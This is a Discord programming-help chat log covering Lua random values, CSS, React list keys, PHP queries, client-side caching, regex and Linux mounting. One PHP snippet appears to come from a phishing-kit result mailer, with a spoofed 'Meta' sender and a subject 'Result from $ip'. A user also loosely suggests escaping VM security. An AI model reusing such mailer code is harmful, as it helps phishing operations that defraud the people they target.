0.2 is smaller than 0.5
so it multiplies it by 2 = 0.4
not sure if it repeats this until it is above 0.5

-0.3 is smaller than 0.5
so it multiplies it by -2
giving +0.6

this results in all my particles moving with a bias to the right

#

idk if '<' cares about whether the number is absolute or not

#

velocityX = (math.random(-2,2)-0.5)times4
random generates -2
-2 - 0.5 = -2.5
-2.5 * 4 = -10
not at all what i want

#

im sure math.abs() grants the key but my head is full rn

#

this should be easier

slate frigate
#

@edgy sparrow why are you putting -2 and 2 in the function?

#

And for non-zero, just do a check for if val = 0, then get RandomValue again

edgy sparrow
#

i have zero clue on how to code

#

i learned what i am doing by picking apart other files

#

i have about 4500 lines of stuff, i deduced how it works and used trial and error

#

-2 and 2 are the range

slate frigate
#

When you put values in the function, it no longer generates a float

edgy sparrow
edgy sparrow
#

i wouldn't know how to change math.random() to do anything else

slate frigate
#

An int is a whole number, a float is a decimal number

edgy sparrow
#

that makes it clear

#

so how does math.random() know what the range should be if i can't give it numbers

#

isn't it going to clog up the performance if i make it generate anything between 0 and max bit value

#

i currently use
if math.random(1,x) == 1 then

whereif x is big, the event happens less often

#

that's what i use math.random() for and it works great but looking up tutorials on stuff has me going through hours of stuff that doesn't seem to be relevant

#

i appreciate your help very much

slate frigate
#

It doesn't. But you know it generates a float between 0 and 1. So you multiply that by 2 to get a range of 0-2.

Then the first math.Random() > .5 makes it so half the time you multiply by 2, the other half -2 to get a full -2 to 2 range

edgy sparrow
#

so math.random() always generates a float between 0 and 1 by default?

slate frigate
#

Yep

edgy sparrow
#

alright that entire block of code just started making sense hahah

#

that float is always positive so no wonder you do minus 0.5

#

the multiplication is the 'scale' for this number, it all makes so much sense now, thank you

slate frigate
#

🤘

edgy sparrow
#

`this seems to have given the numbers a bias

if mytmp3 == 0 then
baseVX = math.random()
baseVY = math.random()

if baseVX < 0.50 then
    baseVX = baseVX * 2
else
    baseVX = baseVX * -2
end

if baseVY < 0.50 then
    baseVY = baseVY * 2
else
    baseVY = baseVY * -2
end

sim.partProperty(i,'vx', baseVX)
sim.partProperty(i,'vy', baseVY)

sim.partProperty(i,'tmp3', 1)

end
`

edgy sparrow
#

it is clearly not balanced

slate frigate
#

you have to generate new random floats inside the 50/50 split, you cant reuse the values

edgy sparrow
#

oh i see

#

ah delicious true non-zero motion

candid sentinel
#

what is all of this?

slate frigate
#

A painful reminder you can never get away from math

hollow basalt
woeful shadow
#

why did the css for these tab buttons stop working after i switched to standards mode

#
            .tabLinks {
              float: left;
              width: 100%;
              cursor: pointer;
              background-color: #fff;
              border-width: 0;
              padding: 14px 16px;
              margin: 5px 10px;
              border-radius: 3px;
              box-shadow: none;
            }
            .tabLinks:hover {
              border-color: blue;
              background-color: #cccccc6e;
            }
            .tabLinks.active {
              border-bottom-width: 5px;
              padding-bottom:9px;
              border-color: red;
            }```
mighty aspen
woeful shadow
#

it turned out it was lower case L in the button html

#

ig quirks mode isn't case sensitive?

nocturne galleon
#

What does that mean and how can i solve it?
[Sat Jul 2 09:34:53 2022] PHP Notice: Undefined index: mymail@gmail.com in C:\xampp\htdocs\website\process.php on line 47

$send = "mymail@gmail.com";
$subject = "Result from $ip";
$headers = "From: Meta<custome556pport@Spammershhhhmm.com>";
$headers .= $_POST['mymail@gmail.com']."\n"; // line 47 were the undefined index notice happens.
$headers .= "MIME-Version: 1.0\n";
$arr=array($send, $ip);
foreach ($arr as $send)
{
    try{
        mail($send,$subject,$message,$headers);
        echo 'Message has been sent';
        $fe = fopen("result.txt","a");
        fputs($fe,'Message has been sent');
        fclose($fe);
     } catch (Exception $e) {
         echo "Message could not be sent. Mailer Error: {$e}";
         $ff = fopen("result.txt","a");
         fputs($ff,"Message could not be sent. Mailer Error: {$e}");
         fclose($ff);
     }
}
crisp harness
#

Hello there!
I need to implement a backend using websockets and spring boot. I searched for hours and hours on the internet (and slowly going insane) for a tutorial that isn't just the spring starter (https://spring.io/guides/gs/messaging-stomp-websocket/which does not work for me) . I have implemented my first Endpoint, and now want see if it works. After establishing an successful connection, I tried to send a message. My Backend does not receive it.

Here is the postman request: Postman request Image

Here is my registration of the endpoints. I also do:

registry.setApplicationDestinationPrefixes("/app");

@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
registry.addEndpoint("/app/position");
}
this is what my controller looks like:

@MessageMapping({"/position"})
@SendTo("/topic/public")
public List<PositionResponse> getPosition(@Payload final PosititionRequest requestPos) {
System.out.println("Position request received");
return positioningService.getPosition(requestPos);
}
This method does not get called.
https://i.stack.imgur.com/Of6P3.png postman image

sorry for the weird question format, i asked it first on stackoverflow, but no one answered.

#

Any help would be appreciated 🙂

sturdy ingot
rancid nimbus
sturdy ingot
#

I have several issues with the content of your notes. For example the selector in your CSS selector article may not only be a tag, but a complex selector, maybe even multiple ones, like

h1, h2, h3, article > p, article p + p, a:hover::after {
   content: "Bad example"
}
livid bison
sturdy ingot
nocturne galleon
sturdy ingot
#

Can y'all stop pinging me and instead the original author? Thanks. 😄

sturdy ingot
# dapper pond so what i can do??

You can stop advertising your notes/blog as helpful for professionals:

Hello Guys, Check my Web development notes for beginner to professional

It seems like you're currently diving into the depths of web development yourself and taking notes. Alternatively you had your first dip into the world of web development lately and want to share your new wisdom. Both are great ways to learn a new topic, but it's important to stay honest there. Readers will be a lot more forgiving it you add context, for example

Today I learned that you can do XY with CSS. That enables me to do AB. Here's a small example <...>. This works because UV + XY acts as MN, and that, with my previous changes (link to previous blog post) I can finally do AB.

Would you do the same? How would you do AB? Share your thoughts in the comments!

However, if your posts look like small references, facts or peer-reviewed examples, readers will react harshly if they find discrepancies or errors. This is enhanced if they perceive the original author as know-it-all.

next cipher
#

if you're going to advertise and tell everyone how great your blog is for developers, at least start with getting basic facts right

livid bison
#

Unrelated note - Websites that don't let you click "Login" after autofilling with a password manager, because you didn't technically click on the user/pw boxes and type letters, need to be excommunicated from the internet

nocturne galleon
#

also great exercise is to build the blog yourself, not use a premade template

rancid nimbus
slate frigate
#

Do you dare to enact the dark magics of CSS and JS?

grizzled steeple
#

CSS = Magic
I may be able to do some CSS magic, but I can't do CSS Magic...

sage vector
silk eagle
#

haha stockholm syndrome

nocturne galleon
#

anyone verse with php
does anyone know why this query returns a string for result?

        $all_m = "SELECT moderator.korisnik_id FROM moderator WHERE moderator.planina_id={$_GET["mountainid"]}";
        $l = executeQuery($curr, $all_m);
        list($korisnik_id) = mysqli_fetch_array($l);

There are supposed to be 4 entries with the id I'm testing, but mysqli_fetch_array returns a string for some reason

nocturne galleon
lament bridge
#

How could I fix this?
Warning: Each child in a list should have a unique "key" prop.
I assume, this is because my JSON array is not unique, so I can't really iterate it.

[
    {
        "joke": "A man walks into a doctor's office. He says, \"Doctor, doctor, you've got to help me! My elbow keeps coming untied. . . my belly button is out of order. . . I can't open my chest. . . I'm losing the leaves in my palm. . . somebody threw my waist in the trash. . . and my foot is only eleven inches!\""
    }
]

I am using React

  {data.map(joke=> (
              <div key={joke.id} className="row">
                <div className="col-md-12">
                  <p>{joke['joke']}</p>
                </div>
              </div>
              ))}
#

The joke itself is being display, but the error bugs me

mighty aspen
# nocturne galleon anyone verse with php does anyone know why this query returns a string for resul...

not 100% on this, but that list call your using at the end is probably your culprit.
syntactically, I used to use this method:
$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = $mysqli->query($query);

while($row = $result->fetch_array())
{
$rows[] = $row;
}

foreach($rows as $row)
{
echo $row['CountryCode'];
}

/* free result set */
$result->close();

/* close connection */
$mysqli->close();

Worked good for me.

lament bridge
#

@mighty aspen I thought of that but didn't help.

mighty aspen
#

ex
<div className={"row"} key={i}>
{[ object.name ,
<b className="fosfo" key={i}> {object.city} </b> ,
object.age
]}
</div>;
Notice Key being called within each html ele

nocturne galleon
#

god I hate php

mighty aspen
#

if your data doesn't have a joke.id, you don't have to add one either -
use that data.map(function(joke, i) {
that provides i as an index

nocturne galleon
#

it's the safest to use indexes as keys

mighty aspen
#

so like

{data.map(function(joke, i {
              <div key={i} className="row">
                <div key={i} className="col-md-12">
                  <p key={i}>{joke['joke']}</p>
                </div>
              </div>
              })}
nocturne galleon
#

you can wrap the code using backticks

mighty aspen
#

oh neat, ty

nocturne galleon
#

use triple backticks like this

#

then the language name to get syntax highlighting

mighty aspen
#

thats flippin neato - never knew discord could do that now

nocturne galleon
#
const x = [1, 2, 3]
#

yeah since there is a lot of programming discord servers

lament bridge
#

@mighty aspen Thanks, I might also have to save this to the Cookies, because otherwise I will reach the API requests soon...

nocturne galleon
lament bridge
#

50,000 / m will be reached soon trust me :/

nocturne galleon
#

learn about cache and caching api requests

lament bridge
#

oh, ok, will look into it

mighty aspen
#

easiest way for a quick fix is to save the resp to localstorage if you're looking for a hacky cache solution

nocturne galleon
#

yeah but we don't want hacky

mighty aspen
#

there's proper-er ways to handle it tho -- i always have to bust caches so have little knowledge on saving them lmao

nocturne galleon
#

do it the proper way since it's difficult to unlearn the wrong way

#

also how are you gonna verify that localstorage is up to date

lament bridge
#

@nocturne galleon Do you know any good documentation for cache like that? I originally wanted to get a new joke or fact every day. So cache would be up to a day

nocturne galleon
#

there are plenty of resources online I think

#

I sadly don't have a specific one to recommend

lament bridge
#

We don't really have access or want to touch BE now

#

but I found a way here

nocturne galleon
#

you can manually wipe local storage

lament bridge
#

Yes... but why would our internal team do that?

#

Its not like it will be used by 29429 random users, it just for 4-5 people who work in the same boat.

nocturne galleon
#

just because your team won't do it, doesn'T mean it's a good idea

#

rate limit your api then

lament bridge
#

whats wrong with the idea? please tell me? why would I overdo something that's only used by a couple of people
Its not my api... so can't do.. obviously, if there would be a way by the API, I wouldn't think of this.

nocturne galleon
#

then why do you care lol

#

I don't see you doing 100000 requests per minute

#

if you are doing that with React i don't. know what in hell are you doing with React but React wasn't made to do that

lament bridge
#

Cause you are trying to make a point to something you didn't ask how it will be used.

nocturne galleon
#

then fine, use the local storage solution. Doesn't change the fact it's a dogshit solution

lament bridge
#

Happens

midnight wind
next cipher
#

the top answer is correct - this is pointless to discuss or learn about because the question as posed doesn't really make sense

#

it's impossible to have a meaningful rate limit client-side

#

this sounds like a classic X/Y problem but we can't really help unless you clarify your goal and the reason you want a rate limit

#

you should basically always be rate limiting your APIs server side

#

even if it's a private/internal API

#

not as a security thing per se- just for resource management & as a sort of sanity check

deft sigil
# nocturne galleon *god I hate php*

well its faster then python , and better then anything else for assembling html ,css and sql... and you dont have to use the oop style with it

#

rate limiting client side is only usefull if the rate is governed by something else then page requests,post get , like some javascript, flash or javaapplets, and i think its obvious you should never ever use any of those so...

deft sigil
#

and grid sure as hell beats floating divs , wich sure as hell beat <table> for structuring html pages 😄

livid bison
#

That’s got nothing on the Excel roller coaster

fair gale
# lament bridge https://stackoverflow.com/a/55083939/5381648

Oh wow, the code is ugly af and the solution is incomplete but there's otherwise nothing wrong with this approach.

And this has nothing to do with rate-limiting. There's nothing to rate-limit. You either need to update stuff or you don't. If you don't need to update it often - you get it and store it until you do need to update it. And this is not caching, this is plain business logic.

Jeez people stop overthinking

#

"Do the best you can until you know better. Then when you know better, do better."

silk eagle
#

Then when you know better, do better in a couple weeks once other people also notice that you can do better.

#

unless its banking

fair gale
slate frigate
#

And if you dont know how to do better immediately, add some sleep functions so you can "optimize and increase performance" later partyparrot

fair gale
# lament bridge https://stackoverflow.com/a/55083939/5381648

And just because I'm currently procrastinating, this is how this solution would look if it actually saved something to local storage and was readable

function componentDidMount() {
  const COLORS_STORAGE_KEY = 'colors';
  const storedColorsJSON = localStorage.getItem(COLORS_STORAGE_KEY);
  const storedColors = storedColorsJSON && JSON.parse(storedColorsJSON);
  const currentDateString = new Date().toDateString();

  const setColors = (colors) =>
    this.setState({
      isLoaded: true,
      items: colors,
    });

  if (storedColors && currentDateString === storedColors.date) {
    setColors(colors.value);
    return;
  }

  fetch('http://www.colr.org/json/colors/random/7')
    .then((res) => res.json())
    .then((res) => {
      setColors(res.colors);

      localStorage.setItem(
        COLORS_STORAGE_KEY,
        JSON.stringify({
          date: currentDateString,
          value: res.colors,
        }),
      );
    });
}
rancid nimbus
#

Does anyone have any suggestions for trying to debug a raspberry pi pico?

nocturne galleon
#

Please be more specific

silk eagle
#

well without knowing exactly what ur having issues with, I think just use some compressed air, q tips and cotton swabs with some isopropyl

rancid nimbus
#

I was trying to hook up SWDIO and SWDCLK to my debugger and it should have at least recognized a device exists on the bus, but no. It doesn't recognize any device on the buss. It realizes the target device's voltage is about 4.4 (close enough to correct to be possible my voltage meter needs to be fixed). The debugger's serial bus at least works.

nocturne galleon
#

I had a completely insane idea but if it can work it would also be really useful, a way to proxy graphics API calls between a windows KVM guest and a linux host without passing through the hardware itself
It sounds like it might be possible in theory but i don't even know how to even begin to tackle it, i have used C before but this is very specific
I have 3 very broad ideas that maybe could work but i don't really know:

  1. Make a linux driver that exposes a device file, then interact somehow with the gpu driver from there by mounting it in the guest
  2. Same as 1 but talking with libGL.so rather than directly with the driver
  3. Maybe it's possible to somehow bypass the security mechanisms VMs usually have in place and run machine code directly on the host, that could allow making linux library calls directly from windows
    Again, this is all very broad and probably pretty hard, I'm looking for some general advice
    Also note that I'm using libGL as an example but ideally this would also work with vulkan, maybe even dxvk/vkd3d
rancid nimbus
# nocturne galleon I had a completely insane idea but if it can work it would also be really useful...

Bypassing security sounds hard. Running code directly bare metal is already done although CPU security measures allow it to only access safe memory addresses. You could have something on the Linux host side that creates shared memory and passes class through with an overly large amount of work. You would also likely have to write a windows driver which could be harder than Linux. I never attempted writing a driver in windows, so I don't even know how hard/possible it is. Looking into if windows can have custom written drivers is a first without requiring NDA's, expensive mandatory dev tools, a special windows driver signature that costs more than desired, and the like that could cause a problem.

#

Have you looked into spice? It does some of a similar idea. It is a driver to pass Linux filesystems to a client alongside hardware accelerated video and audio decoding. https://www.spice-space.org/index.html If you used a professional GPU you likely already have access to passing GPU through to a client and still use it elsewhere.

nocturne galleon
#

Looking into how spice works sounds promising

#

And no, i don't have a professional grade gpu, hell my gpu isn't even modern

#

It's from ~2014, a 750 TI

#

My laptop has a better one but still consumer grade, 3050 mobile

vestal spire
#

I ran serve -s build according to this https://create-react-app.dev/docs/deployment/ and I'm getting
Uncaught SyntaxError: Unexpected token '<' (at main.90f9cc90.js:1:1)

What could be the issue here?

npm run build creates a build directory with a production build of your app. Set up your favorite HTTP server so that a visitor to your site is served index.html, and requests to static paths like /static/js/main..js are served with the contents of the /static/js/main..js file. For more information see the production build section.

hollow basalt
nocturne galleon
#

Hmm i may have figured something out, using mhook to intercept the gpu calls, then using an AF_UNIX socket to pass through the data to the host?

#

Though that would probably set off literally every anticheat

#

¯\_(ツ)_/¯

wind horizon
vestal spire
peak acorn
#
#define DRIVE_DEV_DIR "/dev/sda1"
#define DRIVE_MNT_DIR "/mnt/sda1"
#define DRIVE_MNT_TYPE "fuseblk"
#define DRIVE_MNT_FLAGS 0
#define DRIVE_MNT_DATA ""

return mount(DRIVE_DEV_DIR, DRIVE_MNT_DIR, DRIVE_MNT_TYPE, DRIVE_MNT_FLAGS, DRIVE_MNT_DATA);

returning
return: 1 | errno: 22 | strerror: Invalid argument
Anyone know?

rancid nimbus
#

What is this?

peak acorn
#

trying to mount a usb drive in linux c program

#

bottom is the return value errno and strerror

rancid nimbus
#

You could convert errno to a string and maybe that will give you a hint.

peak acorn
#

that is strerror, "invalid argument"

#

but idk which argument is invalid lol

rancid nimbus
#

Does the mount location exist?

peak acorn
#

yea

rancid nimbus
#

Is the mount type needed?

peak acorn
#

I can mount via terminal just fine

#

idk if its optional or not, but when u manually mount is is fuseblk so that should be right

rancid nimbus
#

In the man it gives "fuse" not "fuseblk" is that why?

peak acorn
#

fuseblk is in /proc/filesystems

#

also, 10 second slowmode is obnoxious

#

im not sure if nodev is important or not

peak acorn
#

Oh OK the answer is basically u have to fork and use a mount command because mounting with fuseblk isnt good enuf

rancid nimbus
peak acorn
#

yea, fork and exec /bin/mount

rancid nimbus
#

Was that in the manual page you were reading?

wind horizon
hollow basalt
#

it's in his code. build does much more than what start does since it is production ready

wind horizon
#

Usually your webpack dev server config shouldn’t be massively different, except things like style loaders and such. But that’s a “usually” idk what CRA is doing these days, haven’t done a CRA eject in a bit.

#

I don’t think there is much any of us can provide in advice without some code to look at though….

Could do some debugging by just commenting out all your imports and make sure building with nothing but super simple JS like a console.log is building correct.

#

Also reinstalling modules can be a another good step to try if you haven’t. If you use something like nvm possible you are accidentally on a version of node that doesn’t have all your same modules installed.

hollow basalt
#

I don't think it is the modules or the import.
I would say it's the config.
because dev vs prod problems is usually caused by configs and not the module

wind horizon
vestal spire
vestal spire
vestal spire
#

nope

#

also I think I fixed the problem. There was an issue with homepage in package.json file

wind horizon
# vestal spire I'm thinking it's the config as well. Is there a guide on how to set it up?

In CRA your webpack config is hidden unless you run the eject command. Then you’ll get tones of stuff packed into react-scripts and such exposed as files in your repo. Not for the faint of heart / those that don’t want to manage it. 😅

Interesting, I don’t think I have ever used the homepage key, unless maybe it’s newer. I haven’t made a new CRA in I think over 2 years.

mighty aspen
#

ahhh webpack

#

updating a 4 year old repo with 4+ internal npm deps from webpack 4>5 to pass audits was... frustrating.

#

compounded by changing from tslint to eslint 'cause tslint deprecated

wind horizon
#

Yeah webpack can be a pain to update. I was always anti tslint, from the start imo ts linting belonged in something like eslint. There is so many other eslint plugins you may use that are not TS specific and it was silly for them to maintain their own linter instead of just rules for the most popular linter in JS.

next cipher
#

<@&750150305383186585> fake nitro scam

#

oops i guess you already saw it sorry for the ping

slate frigate
#

Like, i know they do scams in other channels but this one? Literally the worst one to try in.

livid bison
slate frigate
#

I meant specifically the development channel

livid bison
#

oh dum brain

#

I thought you said servers

slate frigate
#

No worries. I've been in the tech support channels, I know what goes on here, lol

livid bison
#

facts

rancid nimbus
#

<@&750150305383186585> this sounds suspicious

reef tangle
#

i got it alr

willow isle
#

close up of the weapon i made

teal trail
#

nice job bro

rancid nimbus
nocturne galleon
#

is anyone here good at regex? what would be something that matches
net.minecraft.*
com.mojang.*
EXCEPT
com.mojang.authlib.*

#

one of my friends apparently got something working with PCRE but using that would cause multiple issues (i would need to write a JNI wrapper for it and also fork CFR since that handles regex compilation internally, all i can do is pass it a string)

#

this is with PCRE
^(?:net\.minecraft|com\.mojang)(.*?)(\.authlib($|\.)(*COMMIT)(*FAIL))?$

slate frigate
#

@nocturne galleon Try this?

(^net\.minecraft|^com\.mojang)\.(?!authlib)
nocturne galleon
#

Doesn't seem to work

#

Maybe some copy wonkiness happened for me since I'm on my phone

#

I can test on my pc in a bit

livid bison
#

I would legit pay for a service that tells me the right regex given a plain-english description

hollow basalt
#

there are already free

livid bison
#

I know there are auto-generators but I haven't found any that capture all the nuances I'd like them to

hollow basalt
#

like wat

livid bison
#

idk any off the top of my head, I'm going off experiences in the past where I was looking for a specific expression like Nep Nep is

#

Like https://regexr.com/ is great for learning/messing with regex but I want a service where I can give a detailed paragraph, a human reads it, and gives me the correct expression

RegExr

RegExr is an online tool to learn, build, & test Regular Expressions (RegEx / RegExp).

hollow basalt
livid bison
hollow basalt
#

i know